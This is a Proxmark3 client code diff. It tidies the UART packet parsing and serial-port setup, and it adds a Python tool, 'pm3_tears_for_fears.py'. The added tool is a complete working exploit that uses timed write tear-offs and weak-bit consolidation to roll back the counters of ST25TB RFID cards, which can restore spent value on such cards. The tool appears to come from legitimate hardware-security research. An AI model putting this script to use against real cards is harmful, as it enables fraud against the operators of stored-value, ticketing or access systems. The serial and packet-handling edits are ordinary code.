txBufferNG.pre.cmd = cmd; - if (len > 0 && data) + if (len > 0 && data) { memcpy(&txBufferNG.data, data, len); + } if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) { uint8_t first = 0, second = 0; @@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer)) res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen); if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) { + rx.magic = rx_raw.pre.magic; uint16_t length = rx_raw.pre.length; rx.ng = rx_raw.pre.ng; rx.status = rx_raw.pre.status; rx.cmd = rx_raw.pre.cmd; + if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply + if (length > PM3_CMD_DATA_SIZE) { PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length); error = true; @@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer)) if ((!error) && (length > 0)) { // Get the variable length payload res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen); + if ((res != PM3_SUCCESS) || (rxlen != length)) { + PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length); error = true; + } else { if (rx.ng) { // Received a valid NG frame + memcpy(&rx.data, &rx_raw.data, length); rx.length = length; if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) { ACK_received = true; } + } else { uint64_t arg[3]; if (length < sizeof(arg)) { PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length); error = true; } + if (!error) { // Received a valid MIX frame + memcpy(arg, &rx_raw.data, sizeof(arg)); rx.oldarg[0] = arg[0]; rx.oldarg[1] = arg[1]; rx.oldarg[2] = arg[2]; memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg)); rx.length = length - sizeof(arg); + if (rx.cmd == CMD_ACK) { ACK_received = true; } @@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer)) } } } else if ((!error) && (length == 0)) { // we received an empty frame - if (rx.ng) + + if (rx.ng) { rx.length = 0; // set received length to 0 - else { // old frames can't be empty + } else { // old frames can't be empty PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)"); error = true; } + } if (!error) { // Get the postamble @@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer)) if (!error) { // Check CRC, accept MAGIC as placeholder rx.crc = rx_raw.foopost.crc; + if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) { + uint8_t first, second; compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second); + if ((first << 8) + second != rx.crc) { PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc); error = true; diff --git a/client/src/uart/uart_posix.c b/client/src/uart/uart_posix.c index 0863cc9b7..5e7133354 100644 --- a/client/src/uart/uart_posix.c +++ b/client/src/uart/uart_posix.c @@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { return INVALID_SERIAL_PORT; } + // Flush all lingering data that may exist + tcflush(sp->fd, TCIOFLUSH); + // Duplicate the (old) terminal info struct sp->tiNew = sp->tiOld; - // Configure the serial port - sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD; + // Configure the serial port. + // fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later. + sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD; sp->tiNew.c_iflag = IGNPAR; sp->tiNew.c_oflag = 0; sp->tiNew.c_lflag = 0; @@ -401,6 +405,17 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { // Block until a timer expires (n * 100 mSec.) sp->tiNew.c_cc[VTIME] = 0; + // more configurations + sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */ + sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */ + sp->tiNew.c_cc[VERASE] = 0; /* del */ + sp->tiNew.c_cc[VKILL] = 0; /* @ */ + sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */ + sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */ + sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */ + sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */ + sp->tiNew.c_cc[VEOL] = 0; /* '\0' */ + // Try to set the new terminal info struct if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) { PrintAndLogEx(ERR, "error: UART set terminal info attribute"); @@ -695,9 +710,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) { // Set port speed (Input and Output) cfsetispeed(&ti, stPortSpeed); cfsetospeed(&ti, stPortSpeed); + + // flush + tcflush(spu->fd, TCIOFLUSH); + bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1; - if (result) + if (result) { g_conn.uart_speed = uiPortSpeed; + } return result; } diff --git a/tools/pm3_tears_for_fears.py b/tools/pm3_tears_for_fears.py new file mode 100644 index 000000000..0670ceccb --- /dev/null +++ b/tools/pm3_tears_for_fears.py @@ -0,0 +1,553 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +#+---------------------------------------------------------------------------+ +#| Tears For Fears : Utilities for reverting counters of ST25TB* cards | +#+---------------------------------------------------------------------------+ +#| Copyright (C) Pierre Granier - 2024 | +#| | +#| This program is free software: you can redistribute it and/or modify | +#| it under the terms of the GNU General Public License as published by | +#| the Free Software Foundation, either version 3 of the License, or | +#| (at your option) any later version. | +#| | +#| This program is distributed in the hope that it will be useful, | +#| but WITHOUT ANY WARRANTY; without even the implied warranty of | +#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | +#| GNU General Public License for more details. | +#| | +#| You should have received a copy of the GNU General Public License | +#| along with this program. If not, see . | +#+---------------------------------------------------------------------------+ +# +# Ref: +# https://gitlab.com/SiliconOtter/tears4fears +# + +import argparse +from queue import Queue, Empty +import re +from subprocess import Popen, PIPE +from time import sleep +from threading import Thread + +PM3_SUBPROC = None +PM3_SUBPROC_QUEUE = None + + +class colors: + + reset = '\033[0m' + bold = '\033[01m' + disable = '\033[02m' + underline = '\033[04m' + reverse = '\033[07m' + strikethrough = '\033[09m' + invisible = '\033[08m' + + purple = '\033[35m' + red = '\033[31m' + green = '\033[32m' + blue = '\033[34m' + lightred = '\033[91m' + lightgreen = '\033[92m' + lightblue = '\033[94m' + + +def main(): + + global PM3_SUBPROC + global PM3_SUBPROC_QUEUE + + parser = argparse.ArgumentParser() + parser.add_argument("-s", + "--strat", + type=int, + nargs="?", + const="1", + default="1", + dest="strategy", + help="Strategy to use (default 1)") + parser.add_argument("-b", + "--block", + type=int, + nargs="?", + const="-1", + default="-1", + required=True, + dest="target_block", + help="Target Block") + parser.add_argument("-p", + "--pm3-client", + type=str, + default="pm3", + dest="pm3_path", + help="pm3 client path") + + args = parser.parse_args() + + PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE) + PM3_SUBPROC_QUEUE = Queue() + + thread = Thread(target=enqueue_output, + args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE)) + thread.start() + + if args.target_block != -1: + tear_for_fears(args.target_block, args.strategy) + else: + parser.error("--block is required ") + + sub_com('exit') + thread.join() + + +def enqueue_output(out, queue): + """Continuously read PM3 client stdout and fill a global queue + + Args: + out: stdout of PM3 client + queue: where to push "out" content + """ + for line in iter(out.readline, b""): + queue.put(line) + out.close() + + +def sub_com(command, func=None, sleep_over=0): + """Send command to aPM3 client + + Args: + command: String of the command to send + func: hook for a parsing function on the pm3 command end + + Returns: + result of the hooked function if any + """ + global PM3_SUBPROC + global PM3_SUBPROC_QUEUE + + result = None + + sleep(sleep_over) + + PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii"))) + PM3_SUBPROC.stdin.flush() + if func: + while not result: + try: + result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5))) + except Empty: + PM3_SUBPROC.stdin.write(bytes( + (command + "\n").encode("ascii"))) + PM3_SUBPROC.stdin.flush() + + return result + + +def set_space(space): + """Placeholder for instrumentalization or do it manually + + Args: + space: distance needed + + Returns: + """ + input(f"\nSet Reader <-> Card distance to {space} and press enter : \n") + + +def parse_rdbl(str_to_parse): + """Return a list of str of a block from pm3 output + Uses `rbdl` in pm3 client + + Args: + str_to_parse: string to parse + + Returns: + string list + """ + tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse) + if tmp: + # print(tmp) + return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1]) + return None + + +def parse_UID(str_to_parse): + """Return a card UID from pm3 output + + Args: + str_to_parse: string to parse + + Returns: + string list + """ + tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse) + if tmp: + return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1]) + return None + + +def slist_to_int(list_source): + """Return the int value associated to a bloc list of string + + Args: + list_source: list to convert + + Returns: + represented int + """ + return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) + + (int(list_source[1], 16) << 8) + int(list_source[0], 16)) + + +def int_to_slist(src): + """Return the list of string from the int value associated to a block + + Args: + src: int to convert + + Returns: + list of string + """ + list_dest = list() + for i in range(4): + list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper()) + return list_dest + + +def ponderated_read(b_num, repeat_read, sleep_over): + """read a few times a block and give a pondered dictionary + + Args: + b_num: block number to read + + Returns: + dictionary (key: int, value: number of occurrences) + """ + weight_r = dict() + + for _ in range(repeat_read): + # sleep_over=0 favorize read at 0 + # (and allow early discovery of weak bits) + result = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", + parse_rdbl, + sleep_over=sleep_over)) + if result in weight_r: + weight_r[result] += 1 + else: + weight_r[result] = 1 + + return weight_r + + +def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over): + """ + + Args: + b_num: block number + stop: last tearing timing + + """ + # Sending RAW writes because `wrbl` spend additionnal time checking success + cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}" + + set_space(1) + dic = ponderated_read(b_num, repeat_read, sleep_over) + + for value, occur in dic.items(): + + indic = colors.reset + + if value > original_value: + indic = colors.purple + + elif value < original_value: + indic = colors.lightblue + + print( + f"{(occur / repeat_read) * 100} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}" + f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}") + + target = max(dic) + + read_back = 0 + + # There is no ACK for write so we use a read to check distance coherence + if target > (original_value): + + print(f"\n{colors.bold}Trying to consolidate.{colors.reset}" + f"\nKeep card at the max distance from the reader.\n") + + while (read_back != (target - 1)): + print(f"{colors.bold}Writing :{colors.reset}" + f" {''.join(map(str,int_to_slist(target - 1)))}") + sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}") + read_back = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl)) + + while (read_back != (target - 2)): + print(f"{colors.bold}Writing :{colors.reset}" + f" {''.join(map(str,int_to_slist(target - 2)))}") + sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}") + read_back = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl)) + + set_space(0) + + +def strat_1_values(original_value): + """return payload and trigger value depending on original_value + follow strategy 1 rules + + Args: + original_value: starting value before exploit + + Returns: + (payload_value, trigger_value) if possible + None otherwise + """ + high1bound = 30 + + # Check for leverageable bits positions, + # Start from bit 32, while their is no bit at 1 decrement position + while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)): + high1bound -= 1 + if high1bound < 1: + # No bits can be used as leverage + return None + + low1bound = high1bound + + # We found a suitable pair of bits at 1, + # While their is bits at 1, decrement position + while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)): + low1bound -= 1 + if low1bound < 1: + # No bits can be reset + return None + + trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1) + payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1) + + return (trigger_value, payload_value) + + +def strat_2_values(original_value): + """return payload and trigger value depending on original_value + follow strategy 2 rules + + Args: + original_value: starting value before exploit + + Returns: + (payload_value, trigger_value) if possible + None otherwise + """ + high1bound = 31 + + # Check for leverageable bit position, + # Start from bit 32, while their is no bit at 1 decrement position + while not (original_value & (0b1 << high1bound)): + high1bound -= 1 + if high1bound < 1: + # No bits can be used as leverage + return None + + low1bound = high1bound + + # We found a suitable bit at 1, + # While their is bits at 1, decrement position + while (original_value & (0b1 << low1bound)): + low1bound -= 1 + if low1bound < 1: + # No bits can be reset + return None + + trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1) + payload_value = trigger_value ^ (2**min(low1bound, 4) - 1) + + return (trigger_value, payload_value) + + +def tear_for_fears(b_num, strategy): + """try to roll back `b_num` counter using `strategy` + + Args: + b_num: block number + """ + + ################################################################ + ######### You may want to play with theses parameters ######### + start_taring_delay = 130 + + repeat_read = 8 + repeat_write = 5 + + sleep_quick = 0 + sleep_long = 0.3 + ################################################################ + + cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}" + + print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n") + + tmp = ponderated_read(b_num, repeat_read, sleep_long) + original_value = max(tmp, key=tmp.get) + + if strategy == 1: + leverageable_values = strat_1_values(original_value) + else: + leverageable_values = strat_2_values(original_value) + + if leverageable_values is None: + print( + f"\n{colors.bold}No bits usable for leverage{colors.reset}\n" + f"Current value : {''.join(map(str,int_to_slist(original_value)))}" + f" : { bin(original_value)[2:].zfill(32)}") + return + + else: + (trigger_value, payload_value) = leverageable_values + + print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}" + f" : { bin(original_value)[2:].zfill(32)}") + print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}" + f" : { bin(trigger_value)[2:].zfill(32)}") + print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}" + f" : { bin(payload_value)[2:].zfill(32)}\n") + + print( + f"{colors.bold}Color coding :{colors.reset}\n" + f"{colors.reset}\tValue we started with{colors.reset}\n" + f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n" + f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n" + f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n" + f"{colors.purple}\tAbove initial value {colors.reset}") + + if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n": + return + + trigger_flag = False + payload_flag = False + t4fears_flag = False + + print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}" + f"{''.join(map(str,int_to_slist(trigger_value)))}\n") + + tear_us = start_taring_delay + + while not trigger_flag: + + for _ in range(repeat_write): + + if t4fears_flag: + exploit_weak_bit(b_num, original_value, repeat_read, + sleep_long) + + if trigger_flag: + break + + sub_com( + f"hw tearoff --delay {tear_us} --on ; " + f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}") + + preamb = f"Tear timing = {tear_us:02d} us : " + print(preamb, end="") + + trigger_flag = True + + for value, occur in ponderated_read(b_num, repeat_read, + sleep_quick).items(): + + indic = colors.reset + # Here we want 100% chance of having primed one sub-counter + # The logic is inverted for payload + if value > original_value: + indic = colors.purple + t4fears_flag = True + trigger_flag = False + + elif value == trigger_value: + indic = colors.green + + elif value < original_value: + indic = colors.lightblue + + else: + trigger_flag = False + + print( + f"{(occur / repeat_read) * 100:3.0f} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}" + f"{colors.reset} : {indic}" + f"{str(bin(value))[2:].zfill(32)}{colors.reset}", + end=f"\n{' ' * len(preamb)}") + + print() + + tear_us += 1 + + print(f"\n{colors.bold}Write and tear payload value : {colors.reset}" + f"{''.join(map(str,int_to_slist(payload_value)))}\n") + + tear_us = start_taring_delay + + while True: + + for _ in range(repeat_write): + + if payload_flag: + + exploit_weak_bit(b_num, original_value, repeat_read, + sleep_long) + + tmp = ponderated_read(b_num, repeat_read, sleep_long) + if max(tmp, key=tmp.get) > original_value: + print(f"{colors.bold}Success ! {colors.reset}") + return + else: + payload_flag = False + + sub_com( + f"hw tearoff --delay {tear_us} --on ; " + f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}") + + preamb = f"Tear timing = {tear_us:02d} us : " + print(preamb, end="") + + for value, occur in ponderated_read(b_num, repeat_read, + sleep_quick).items(): + + indic = colors.reset + + if value > original_value: + indic = colors.purple + payload_flag = True + + elif value == payload_value: + indic = colors.green + payload_flag = True + + elif value < trigger_value: + indic = colors.lightblue + + elif value > trigger_value: + indic = colors.lightred + + print( + f"{(occur / repeat_read) * 100:3.0f} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}" + f"{colors.reset} : {indic}" + f"{str(bin(value))[2:].zfill(32)}{colors.reset}", + end=f"\n{' ' * len(preamb)}") + + print() + + tear_us += 1 + + +if __name__ == "__main__": + main()